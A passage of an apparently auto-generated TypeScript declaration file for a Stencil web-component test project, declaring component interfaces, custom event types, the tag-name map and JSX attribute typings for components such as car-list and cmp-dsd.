ShadowWrapper {\n    }\n    interface SlotCmp {\n    }\n    interface SlotCmpContainer {\n    }\n    interface SlotParentCmp {\n        \"label\": string;\n    }\n    interface SsrShadowCmp {\n        \"selected\": boolean;\n    }\n    interface StateCmp {\n    }\n    interface WrapSsrShadowCmp {\n        \"selected\": boolean;\n    }\n}\nexport interface AnotherCarListCustomEvent<T> extends CustomEvent<T> {\n    detail: T;\n    target: HTMLAnotherCarListElement;\n}\nexport interface CarListCustomEvent<T> extends CustomEvent<T> {\n    detail: T;\n    target: HTMLCarListElement;\n}\nexport interface EventCmpCustomEvent<T> extends CustomEvent<T> {\n    detail: T;\n    target: HTMLEventCmpElement;\n}\nexport interface ResolveVarEventsCustomEvent<T> extends CustomEvent<T> {\n    detail: T;\n    target: HTMLResolveVarEventsElement;\n}\nexport interface ScopedCarListCustomEvent<T> extends CustomEvent<T> {\n    detail: T;\n    target: HTMLScopedCarListElement;\n}\ndeclare global {\n    interface HTMLAnotherCarDetailElement extends Components.AnotherCarDetail, HTMLStencilElement {\n    }\n    var HTMLAnotherCarDetailElement: {\n        prototype: HTMLAnotherCarDetailElement;\n        new (): HTMLAnotherCarDetailElement;\n    };\n    interface HTMLAnotherCarListElementEventMap {\n        \"carSelected\": CarData;\n    }\n    /**\n     * Component that helps display a list of cars\n     */\n    interface HTMLAnotherCarListElement extends Components.AnotherCarList, HTMLStencilElement {\n        addEventListener<K extends keyof HTMLAnotherCarListElementEventMap>(type: K, listener: (this: HTMLAnotherCarListElement, ev: AnotherCarListCustomEvent<HTMLAnotherCarListElementEventMap[K]>) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLAnotherCarListElementEventMap>(type: K, listener: (this: HTMLAnotherCarListElement, ev: AnotherCarListCustomEvent<HTMLAnotherCarListElementEventMap[K]>) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;\n    }\n    var HTMLAnotherCarListElement: {\n        prototype: HTMLAnotherCarListElement;\n        new (): HTMLAnotherCarListElement;\n    };\n    interface HTMLAppRootElement extends Components.AppRoot, HTMLStencilElement {\n    }\n    var HTMLAppRootElement: {\n        prototype: HTMLAppRootElement;\n        new (): HTMLAppRootElement;\n    };\n    interface HTMLBuildDataElement extends Components.BuildData, HTMLStencilElement {\n    }\n    var HTMLBuildDataElement: {\n        prototype: HTMLBuildDataElement;\n        new (): HTMLBuildDataElement;\n    };\n    interface HTMLCarDetailElement extends Components.CarDetail, HTMLStencilElement {\n    }\n    var HTMLCarDetailElement: {\n        prototype: HTMLCarDetailElement;\n        new (): HTMLCarDetailElement;\n    };\n    interface HTMLCarListElementEventMap {\n        \"carSelected\": CarData;\n    }\n    /**\n     * Component that helps display a list of cars\n     */\n    interface HTMLCarListElement extends Components.CarList, HTMLStencilElement {\n        addEventListener<K extends keyof HTMLCarListElementEventMap>(type: K, listener: (this: HTMLCarListElement, ev: CarListCustomEvent<HTMLCarListElementEventMap[K]>) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLCarListElementEventMap>(type: K, listener: (this: HTMLCarListElement, ev: CarListCustomEvent<HTMLCarListElementEventMap[K]>) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;\n    }\n    var HTMLCarListElement: {\n        prototype: HTMLCarListElement;\n        new (): HTMLCarListElement;\n    };\n    interface HTMLCmpAElement extends Components.CmpA, HTMLStencilElement {\n    }\n    var HTMLCmpAElement: {\n        prototype: HTMLCmpAElement;\n        new (): HTMLCmpAElement;\n    };\n    interface HTMLCmpBElement extends Components.CmpB, HTMLStencilElement {\n    }\n    var HTMLCmpBElement: {\n        prototype: HTMLCmpBElement;\n        new (): HTMLCmpBElement;\n    };\n    interface HTMLCmpCElement extends Components.CmpC, HTMLStencilElement {\n    }\n    var HTMLCmpCElement: {\n        prototype: HTMLCmpCElement;\n        new (): HTMLCmpCElement;\n    };\n    interface HTMLCmpDsdElement extends Components.CmpDsd, HTMLStencilElement {\n    }\n    var HTMLCmpDsdElement: {\n        prototype: HTMLCmpDsdElement;\n        new (): HTMLCmpDsdElement;\n    };\n    interface HTMLCmpDsdFocusElement extends Components.CmpDsdFocus, HTMLStencilElement {\n    }\n    var HTMLCmpDsdFocusElement: {\n        prototype: HTMLCmpDsdFocusElement;\n        new (): HTMLCmpDsdFocusElement;\n    };\n    interface HTMLCmpServerVsClientElement extends Components.CmpServerVsClient, HTMLStencilElement {\n    }\n    var HTMLCmpServerVsClientElement: {\n        prototype: HTMLCmpServerVsClientElement;\n        new (): HTMLCmpServerVsClientElement;\n    };\n    interface HTMLCmpWithSlotElement extends Components.CmpWithSlot, HTMLStencilElement {\n    }\n    var HTMLCmpWithSlotElement: {\n        prototype: HTMLCmpWithSlotElement;\n        new (): HTMLCmpWithSlotElement;\n    };\n    interface HTMLDomApiElement extends Components.DomApi, HTMLStencilElement {\n    }\n    var HTMLDomApiElement: {\n        prototype: HTMLDomApiElement;\n        new (): HTMLDomApiElement;\n    };\n    interface HTMLDomInteractionElement extends Components.DomInteraction, HTMLStencilElement {\n    }\n    var HTMLDomInteractionElement: {\n        prototype: HTMLDomInteractionElement;\n        new (): HTMLDomInteractionElement;\n    };\n    interface HTMLDomVisibleElement extends Components.DomVisible, HTMLStencilElement {\n    }\n    var HTMLDomVisibleElement: {\n        prototype: HTMLDomVisibleElement;\n        new (): HTMLDomVisibleElement;\n    };\n    interface HTMLDsdListenCmpElement extends Components.DsdListenCmp, HTMLStencilElement {\n    }\n    var HTMLDsdListenCmpElement: {\n        prototype: HTMLDsdListenCmpElement;\n        new (): HTMLDsdListenCmpElement;\n    };\n    interface HTMLElementCmpElement extends Components.ElementCmp, HTMLStencilElement {\n    }\n    var HTMLElementCmpElement: {\n        prototype: HTMLElementCmpElement;\n        new (): HTMLElementCmpElement;\n    };\n    interface HTMLEmptyCmpElement extends Components.EmptyCmp, HTMLStencilElement {\n    }\n    var HTMLEmptyCmpElement: {\n        prototype: HTMLEmptyCmpElement;\n        new (): HTMLEmptyCmpElement;\n    };\n    interface HTMLEmptyCmpShadowElement extends Components.EmptyCmpShadow, HTMLStencilElement {\n    }\n    var HTMLEmptyCmpShadowElement: {\n        prototype: HTMLEmptyCmpShadowElement;\n        new (): HTMLEmptyCmpShadowElement;\n    };\n    interface HTMLEnvDataElement extends Components.EnvData, HTMLStencilElement {\n    }\n    var HTMLEnvDataElement: {\n        prototype: HTMLEnvDataElement;\n        new (): HTMLEnvDataElement;\n    };\n    interface HTMLEventCmpElementEventMap {\n        \"myDocumentEvent\": any;\n        \"my-event-with-options\": { mph: number };\n        \"myWindowEvent\": number;\n    }\n    interface HTMLEventCmpElement extends Components.EventCmp, HTMLStencilElement {\n        addEventListener<K extends keyof HTMLEventCmpElementEventMap>(type: K, listener: (this: HTMLEventCmpElement, ev: EventCmpCustomEvent<HTMLEventCmpElementEventMap[K]>) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLEventCmpElementEventMap>(type: K, listener: (this: HTMLEventCmpElement, ev: EventCmpCustomEvent<HTMLEventCmpElementEventMap[K]>) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;\n    }\n    var HTMLEventCmpElement: {\n        prototype: HTMLEventCmpElement;\n        new (): HTMLEventCmpElement;\n    };\n    interface HTMLHydratedSiblingAccessorsElement extends Components.HydratedSiblingAccessors, HTMLStencilElement {\n    }\n    var HTMLHydratedSiblingAccessorsElement: {\n        prototype: HTMLHydratedSiblingAccessorsElement;\n        new (): HTMLHydratedSiblingAccessorsElement;\n    };\n    interface HTMLImportAssetsElement extends Components.ImportAssets, HTMLStencilElement {\n    }\n    var HTMLImportAssetsElement: {\n        prototype: HTMLImportAssetsElement;\n        new (): HTMLImportAssetsElement;\n    };\n    interface HTMLListenCmpElement extends Components.ListenCmp, HTMLStencilElement {\n    }\n    var HTMLListenCmpElement: {\n        prototype: HTMLListenCmpElement;\n        new (): HTMLListenCmpElement;\n    };\n    interface HTMLMethodCmpElement extends Components.MethodCmp, HTMLStencilElement {\n    }\n    var HTMLMethodCmpElement: {\n        prototype: HTMLMethodCmpElement;\n        new (): HTMLMethodCmpElement;\n    };\n    interface HTMLMyCmpElement extends Components.MyCmp, HTMLStencilElement {\n    }\n    var HTMLMyCmpElement: {\n        prototype: HTMLMyCmpElement;\n        new (): HTMLMyCmpElement;\n    };\n    interface HTMLMyJsxCmpElement extends Components.MyJsxCmp, HTMLStencilElement {\n    }\n    var HTMLMyJsxCmpElement: {\n        prototype: HTMLMyJsxCmpElement;\n        new (): HTMLMyJsxCmpElement;\n    };\n    interface HTMLNestedCmpChildElement extends Components.NestedCmpChild, HTMLStencilElement {\n    }\n    var HTMLNestedCmpChildElement: {\n        prototype: HTMLNestedCmpChildElement;\n        new (): HTMLNestedCmpChildElement;\n    };\n    interface HTMLNestedCmpParentElement extends Components.NestedCmpParent, HTMLStencilElement {\n    }\n    var HTMLNestedCmpParentElement: {\n        prototype: HTMLNestedCmpParentElement;\n        new (): HTMLNestedCmpParentElement;\n    };\n    interface HTMLNestedScopeCmpElement extends Components.NestedScopeCmp, HTMLStencilElement {\n    }\n    var HTMLNestedScopeCmpElement: {\n        prototype: HTMLNestedScopeCmpElement;\n        new (): HTMLNestedScopeCmpElement;\n    };\n    interface HTMLNonShadowChildElement extends Components.NonShadowChild, HTMLStencilElement {\n    }\n    var HTMLNonShadowChildElement: {\n        prototype: HTMLNonShadowChildElement;\n        new (): HTMLNonShadowChildElement;\n    };\n    interface HTMLNonShadowForwardedSlotElement extends Components.NonShadowForwardedSlot, HTMLStencilElement {\n    }\n    var HTMLNonShadowForwardedSlotElement: {\n        prototype: HTMLNonShadowForwardedSlotElement;\n        new (): HTMLNonShadowForwardedSlotElement;\n    };\n    interface HTMLNonShadowMultiSlotsElement extends Components.NonShadowMultiSlots, HTMLStencilElement {\n    }\n    var HTMLNonShadowMultiSlotsElement: {\n        prototype: HTMLNonShadowMultiSlotsElement;\n        new (): HTMLNonShadowMultiSlotsElement;\n    };\n    interface HTMLNonShadowWrapperElement extends Components.NonShadowWrapper, HTMLStencilElement {\n    }\n    var HTMLNonShadowWrapperElement: {\n        prototype: HTMLNonShadowWrapperElement;\n        new (): HTMLNonShadowWrapperElement;\n    };\n    interface HTMLPathAliasCmpElement extends Components.PathAliasCmp, HTMLStencilElement {\n    }\n    var HTMLPathAliasCmpElement: {\n        prototype: HTMLPathAliasCmpElement;\n        new (): HTMLPathAliasCmpElement;\n    };\n    interface HTMLPrerenderCmpElement extends Components.PrerenderCmp, HTMLStencilElement {\n    }\n    var HTMLPrerenderCmpElement: {\n        prototype: HTMLPrerenderCmpElement;\n        new (): HTMLPrerenderCmpElement;\n    };\n    interface HTMLPropCmpElement extends Components.PropCmp, HTMLStencilElement {\n    }\n    var HTMLPropCmpElement: {\n        prototype: HTMLPropCmpElement;\n        new (): HTMLPropCmpElement;\n    };\n    interface HTMLResolveVarEventsElementEventMap {\n        \"myEvent\": any;\n        \"otherEvent\": any;\n    }\n    interface HTMLResolveVarEventsElement extends Components.ResolveVarEvents, HTMLStencilElement {\n        addEventListener<K extends keyof HTMLResolveVarEventsElementEventMap>(type: K, listener: (this: HTMLResolveVarEventsElement, ev: ResolveVarEventsCustomEvent<HTMLResolveVarEventsElementEventMap[K]>) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLResolveVarEventsElementEventMap>(type: K, listener: (this: HTMLResolveVarEventsElement, ev: ResolveVarEventsCustomEvent<HTMLResolveVarEventsElementEventMap[K]>) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;\n    }\n    var HTMLResolveVarEventsElement: {\n        prototype: HTMLResolveVarEventsElement;\n        new (): HTMLResolveVarEventsElement;\n    };\n    interface HTMLRuntimeDecoratorsElement extends Components.RuntimeDecorators, HTMLStencilElement {\n    }\n    var HTMLRuntimeDecoratorsElement: {\n        prototype: HTMLRuntimeDecoratorsElement;\n        new (): HTMLRuntimeDecoratorsElement;\n    };\n    interface HTMLScopedCarDetailElement extends Components.ScopedCarDetail, HTMLStencilElement {\n    }\n    var HTMLScopedCarDetailElement: {\n        prototype: HTMLScopedCarDetailElement;\n        new (): HTMLScopedCarDetailElement;\n    };\n    interface HTMLScopedCarListElementEventMap {\n        \"carSelected\": CarData;\n    }\n    /**\n     * Component that helps display a list of cars\n     */\n    interface HTMLScopedCarListElement extends Components.ScopedCarList, HTMLStencilElement {\n        addEventListener<K extends keyof HTMLScopedCarListElementEventMap>(type: K, listener: (this: HTMLScopedCarListElement, ev: ScopedCarListCustomEvent<HTMLScopedCarListElementEventMap[K]>) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLScopedCarListElementEventMap>(type: K, listener: (this: HTMLScopedCarListElement, ev: ScopedCarListCustomEvent<HTMLScopedCarListElementEventMap[K]>) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;\n    }\n    var HTMLScopedCarListElement: {\n        prototype: HTMLScopedCarListElement;\n        new (): HTMLScopedCarListElement;\n    };\n    interface HTMLShadowChildElement extends Components.ShadowChild, HTMLStencilElement {\n    }\n    var HTMLShadowChildElement: {\n        prototype: HTMLShadowChildElement;\n        new (): HTMLShadowChildElement;\n    };\n    interface HTMLShadowWrapperElement extends Components.ShadowWrapper, HTMLStencilElement {\n    }\n    var HTMLShadowWrapperElement: {\n        prototype: HTMLShadowWrapperElement;\n        new (): HTMLShadowWrapperElement;\n    };\n    interface HTMLSlotCmpElement extends Components.SlotCmp, HTMLStencilElement {\n    }\n    var HTMLSlotCmpElement: {\n        prototype: HTMLSlotCmpElement;\n        new (): HTMLSlotCmpElement;\n    };\n    interface HTMLSlotCmpContainerElement extends Components.SlotCmpContainer, HTMLStencilElement {\n    }\n    var HTMLSlotCmpContainerElement: {\n        prototype: HTMLSlotCmpContainerElement;\n        new (): HTMLSlotCmpContainerElement;\n    };\n    interface HTMLSlotParentCmpElement extends Components.SlotParentCmp, HTMLStencilElement {\n    }\n    var HTMLSlotParentCmpElement: {\n        prototype: HTMLSlotParentCmpElement;\n        new (): HTMLSlotParentCmpElement;\n    };\n    interface HTMLSsrShadowCmpElement extends Components.SsrShadowCmp, HTMLStencilElement {\n    }\n    var HTMLSsrShadowCmpElement: {\n        prototype: HTMLSsrShadowCmpElement;\n        new (): HTMLSsrShadowCmpElement;\n    };\n    interface HTMLStateCmpElement extends Components.StateCmp, HTMLStencilElement {\n    }\n    var HTMLStateCmpElement: {\n        prototype: HTMLStateCmpElement;\n        new (): HTMLStateCmpElement;\n    };\n    interface HTMLWrapSsrShadowCmpElement extends Components.WrapSsrShadowCmp, HTMLStencilElement {\n    }\n    var HTMLWrapSsrShadowCmpElement: {\n        prototype: HTMLWrapSsrShadowCmpElement;\n        new (): HTMLWrapSsrShadowCmpElement;\n    };\n    interface HTMLElementTagNameMap {\n        \"another-car-detail\": HTMLAnotherCarDetailElement;\n        \"another-car-list\": HTMLAnotherCarListElement;\n        \"app-root\": HTMLAppRootElement;\n        \"build-data\": HTMLBuildDataElement;\n        \"car-detail\": HTMLCarDetailElement;\n        \"car-list\": HTMLCarListElement;\n        \"cmp-a\": HTMLCmpAElement;\n        \"cmp-b\": HTMLCmpBElement;\n        \"cmp-c\": HTMLCmpCElement;\n        \"cmp-dsd\": HTMLCmpDsdElement;\n        \"cmp-dsd-focus\": HTMLCmpDsdFocusElement;\n        \"cmp-server-vs-client\": HTMLCmpServerVsClientElement;\n        \"cmp-with-slot\": HTMLCmpWithSlotElement;\n        \"dom-api\": HTMLDomApiElement;\n        \"dom-interaction\": HTMLDomInteractionElement;\n        \"dom-visible\": HTMLDomVisibleElement;\n        \"dsd-listen-cmp\": HTMLDsdListenCmpElement;\n        \"element-cmp\": HTMLElementCmpElement;\n        \"empty-cmp\": HTMLEmptyCmpElement;\n        \"empty-cmp-shadow\": HTMLEmptyCmpShadowElement;\n        \"env-data\": HTMLEnvDataElement;\n        \"event-cmp\": HTMLEventCmpElement;\n        \"hydrated-sibling-accessors\": HTMLHydratedSiblingAccessorsElement;\n        \"import-assets\": HTMLImportAssetsElement;\n        \"listen-cmp\": HTMLListenCmpElement;\n        \"method-cmp\": HTMLMethodCmpElement;\n        \"my-cmp\": HTMLMyCmpElement;\n        \"my-jsx-cmp\": HTMLMyJsxCmpElement;\n        \"nested-cmp-child\": HTMLNestedCmpChildElement;\n        \"nested-cmp-parent\": HTMLNestedCmpParentElement;\n        \"nested-scope-cmp\": HTMLNestedScopeCmpElement;\n        \"non-shadow-child\": HTMLNonShadowChildElement;\n        \"non-shadow-forwarded-slot\": HTMLNonShadowForwardedSlotElement;\n        \"non-shadow-multi-slots\": HTMLNonShadowMultiSlotsElement;\n        \"non-shadow-wrapper\": HTMLNonShadowWrapperElement;\n        \"path-alias-cmp\": HTMLPathAliasCmpElement;\n        \"prerender-cmp\": HTMLPrerenderCmpElement;\n        \"prop-cmp\": HTMLPropCmpElement;\n        \"resolve-var-events\": HTMLResolveVarEventsElement;\n        \"runtime-decorators\": HTMLRuntimeDecoratorsElement;\n        \"scoped-car-detail\": HTMLScopedCarDetailElement;\n        \"scoped-car-list\": HTMLScopedCarListElement;\n        \"shadow-child\": HTMLShadowChildElement;\n        \"shadow-wrapper\": HTMLShadowWrapperElement;\n        \"slot-cmp\": HTMLSlotCmpElement;\n        \"slot-cmp-container\": HTMLSlotCmpContainerElement;\n        \"slot-parent-cmp\": HTMLSlotParentCmpElement;\n        \"ssr-shadow-cmp\": HTMLSsrShadowCmpElement;\n        \"state-cmp\": HTMLStateCmpElement;\n        \"wrap-ssr-shadow-cmp\": HTMLWrapSsrShadowCmpElement;\n    }\n}\ndeclare namespace LocalJSX {\n    interface AnotherCarDetail {\n        \"car\"?: CarData;\n    }\n    /**\n     * Component that helps display a list of cars\n     */\n    interface AnotherCarList {\n        \"cars\"?: CarData[];\n        \"onCarSelected\"?: (event: AnotherCarListCustomEvent<CarData>) => void;\n        \"selected\"?: CarData;\n    }\n    interface AppRoot {\n    }\n    interface BuildData {\n    }\n    interface CarDetail {\n        \"car\"?: CarData;\n    }\n    /**\n     * Component that helps display a list of cars\n     */\n    interface CarList {\n        \"cars\"?: CarData[];\n        \"onCarSelected\"?: (event: CarListCustomEvent<CarData>) => void;\n        \"selected\"?: CarData;\n    }\n    interface CmpA {\n    }\n    interface CmpB {\n    }\n    interface CmpC {\n    }\n    interface CmpDsd {\n        /**\n          * @default 0\n         */\n        \"initialCounter\"?: number;\n    }\n    interface CmpDsdFocus {\n    }\n    interface CmpServerVsClient {\n    }\n    interface CmpWithSlot {\n    }\n    interface DomApi {\n    }\n    interface DomInteraction {\n    }\n    interface DomVisible {\n    }\n    interface DsdListenCmp {\n    }\n    interface ElementCmp {\n    }\n    interface EmptyCmp {\n    }\n    interface EmptyCmpShadow {\n    }\n    interface EnvData {\n    }\n    interface EventCmp {\n        \"onMy-event-with-options\"?: (event: EventCmpCustomEvent<{ mph: number }>) => void;\n        \"onMyDocumentEvent\"?: (event: EventCmpCustomEvent<any>) => void;\n        \"onMyWindowEvent\"?: (event: EventCmpCustomEvent<number>) => void;\n    }\n    interface HydratedSiblingAccessors {\n    }\n    interface ImportAssets {\n    }\n    interface ListenCmp {\n        /**\n          * @default false\n         */\n        \"opened\"?: boolean;\n    }\n    interface MethodCmp {\n        /**\n          * @default 0\n         */\n        \"someProp\"?: number;\n    }\n    interface MyCmp {\n        /**\n          * bar prop\n          * @returns bar\n          * @readonly \n          * @default 'bar'\n         */\n        \"barProp\"?: string;\n        /**\n          * foo prop\n         */\n        \"fooProp\"?: string;\n        /**\n          * Mode\n         */\n        \"mode\"?: any;\n    }\n    interface MyJsxCmp {\n        /**\n          * bar prop\n          * @returns bar\n          * @readonly \n          * @default 'bar'\n         */\n        \"barProp\"?: string;\n        /**\n          * foo prop\n         */\n        \"fooProp\"?: string;\n        /**\n          * Mode\n         */\n        \"mode\"?: any;\n    }\n    interface NestedCmpChild {\n    }\n    interface NestedCmpParent {\n    }\n    interface NestedScopeCmp {\n    }\n    interface NonShadowChild {\n    }\n    interface NonShadowForwardedSlot {\n    }\n    interface NonShadowMultiSlots {\n    }\n    interface NonShadowWrapper {\n    }\n    interface PathAliasCmp {\n    }\n    interface PrerenderCmp {\n    }\n    interface PropCmp {\n        /**\n          * @default 'life preservers'\n         */\n        \"clothes\"?: string;\n        \"first\"?: string;\n        /**\n          * @readonly\n         */\n        \"fullName\"?: string;\n        \"lastName\"?: string;\n        /**\n          * Mode\n         */\n        \"mode\"?: any;\n    }\n    interface ResolveVarEvents {\n        \"onMyEvent\"?: (event: ResolveVarEventsCustomEvent<any>) => void;\n        \"onOtherEvent\"?: (event: ResolveVarEventsCustomEvent<any>) => void;\n    }\n    interface RuntimeDecorators {\n        /**\n          * @default 'basicProp'\n         */\n        \"basicProp\"?: string;\n        \"decoratedGetterSetterProp\"?: number;\n        /**\n          * @default -10\n         */\n        \"decoratedProp\"?: number;\n    }\n    interface ScopedCarDetail {\n        \"car\"?: CarData;\n    }\n    /**\n     * Component that helps display a list of cars\n     */\n    interface ScopedCarList {\n        \"cars\"?: CarData[];\n        \"onCarSelected\"?: (event: ScopedCarListCustomEvent<CarData>) => void;\n        \"selected\"?: CarData;\n    }\n    interface ShadowChild {\n    }\n    interface ShadowWrapper {\n    }\n    interface SlotCmp {\n    }\n    interface SlotCmpContainer {\n    }\n    interface SlotParentCmp {\n        \"label\"?: string;\n    }\n    interface SsrShadowCmp {\n        \"selected\"?: boolean;\n    }\n    interface StateCmp {\n    }\n    interface WrapSsrShadowCmp {\n        \"selected\"?: boolean;\n    }\n\n    interface AnotherCarDetailAttributes {\n        \"car\": string;\n    }\n    interface AnotherCarListAttributes {\n        \"cars\": string;\n    }\n    interface CarDetailAttributes {\n        \"car\": string;\n    }\n    interface CarListAttributes {\n        \"cars\": string;\n    }\n    interface CmpDsdAttributes {\n        \"initialCounter\": number;\n    }\n    interface ListenCmpAttributes {\n        \"opened\": boolean;\n    }\n    interface MethodCmpAttributes {\n        \"someProp\": number;\n    }\n    interface MyCmpAttributes {\n        \"fooProp\": string;\n        \"barProp\": string;\n    }\n    interface MyJsxCmpAttributes {\n        \"fooProp\": string;\n        \"barProp\": string;\n    }\n    interface PropCmpAttributes {\n        \"first\": string;\n        \"lastName\": string;\n        \"fullName\": string;\n        \"clothes\": string;\n    }\n    interface RuntimeDecoratorsAttributes {\n        \"basicProp\": string;\n        \"decoratedProp\": number;\n        \"decoratedGetterSetterProp\": number;\n    }\n    interface ScopedCarDetailAttributes {\n        \"car\": string;\n    }\n    interface ScopedCarListAttributes {\n        \"cars\": string;\n    }\n    interface SlotParentCmpAttributes {\n        \"label\": string;\n    }\n    interface SsrShadowCmpAttributes {\n        \"selected\": boolean;\n    }\n    interface WrapSsrShadowCmpAttributes {\n        \"selected\": boolean;\n    }\n\n    interface IntrinsicElements {\n        \"another-car-detail\": Omit<AnotherCarDetail, keyof AnotherCarDetailAttributes> & { [K in keyof AnotherCarDetail & keyof AnotherCarDetailAttributes]?: AnotherCarDetail[K] } & { [K in keyof AnotherCarDetail & keyof AnotherCarDetailAttributes as `attr:${K}`]?: AnotherCarDetailAttributes[K] } & { [K in keyof AnotherCarDetail & keyof AnotherCarDetailAttributes as `prop:${K}`]?: AnotherCarDetail[K] };\n        \"another-car-list\": Omit<AnotherCarList, keyof AnotherCarListAttributes> & { [K in keyof AnotherCarList & keyof AnotherCarListAttributes]?: AnotherCarList[K] } & { [K in keyof AnotherCarList & keyof AnotherCarListAttributes as `attr:${K}`]?: AnotherCarListAttributes[K] } & { [K in keyof AnotherCarList & keyof AnotherCarListAttributes as `prop:${K}`]?: AnotherCarList[K] };\n        \"app-root\": AppRoot;\n        \"build-data\": BuildData;\n        \"car-detail\": Omit<CarDetail, keyof CarDetailAttributes> & { [K in keyof CarDetail & keyof CarDetailAttributes]?: CarDetail[K] } & { [K in keyof CarDetail & keyof CarDetailAttributes as `attr:${K}`]?: CarDetailAttributes[K] } & { [K in keyof CarDetail & keyof CarDetailAttributes as `prop:${K}`]?: CarDetail[K] };\n        \"car-list\": Omit<CarList, keyof CarListAttributes> & { [K in keyof CarList & keyof CarListAttributes]?: CarList[K] } & { [K in keyof CarList & keyof CarListAttributes as `attr:${K}`]?: CarListAttributes[K] } & { [K in keyof CarList & keyof CarListAttributes as `prop:${K}`]?: CarList[K] };\n        \"cmp-a\": CmpA;\n        \"cmp-b\": CmpB;\n        \"cmp-c\": CmpC;\n        \"cmp-dsd\": Omit<CmpDsd, keyof CmpDsdAttributes> & { [K in keyof CmpDsd & keyof CmpDsdAttributes]?: CmpDsd[K] } & { [K in keyof CmpDsd & keyof CmpDsdAttributes as `attr:${K}`]?: CmpDsdAttributes[K] } & { [K in keyof CmpDsd & keyof CmpDsdAttributes as `prop:${K}`]?: CmpDsd[K] };\n        \"cmp-dsd-focus\": CmpDsdFocus;\n        \"cmp-server-vs-client\": CmpServerVsClient;\n        \"cmp-with-slot\": CmpWithSlot;\n        \"dom-api\": DomApi;\n        \"dom-interaction\": DomInteraction;\n        \"dom-visible\": DomVisible;\n        \"dsd-listen-cmp\": DsdListenCmp;\n        \"element-cmp\": ElementCmp;\n        \"empty-cmp\": EmptyCmp;\n        \"empty-cmp-shadow\": EmptyCmpShadow;\n        \"env-data\": EnvData;\n        \"event-cmp\": EventCmp;\n        \"hydrated-sibling-accessors\": HydratedSiblingAccessors;\n        \"import-assets\": ImportAssets;\n        \"listen-cmp\": Omit<ListenCmp, keyof ListenCmpAttributes> & { [K in keyof ListenCmp & keyof ListenCmpAttributes]?: ListenCmp[K] } & { [K in keyof ListenCmp & keyof 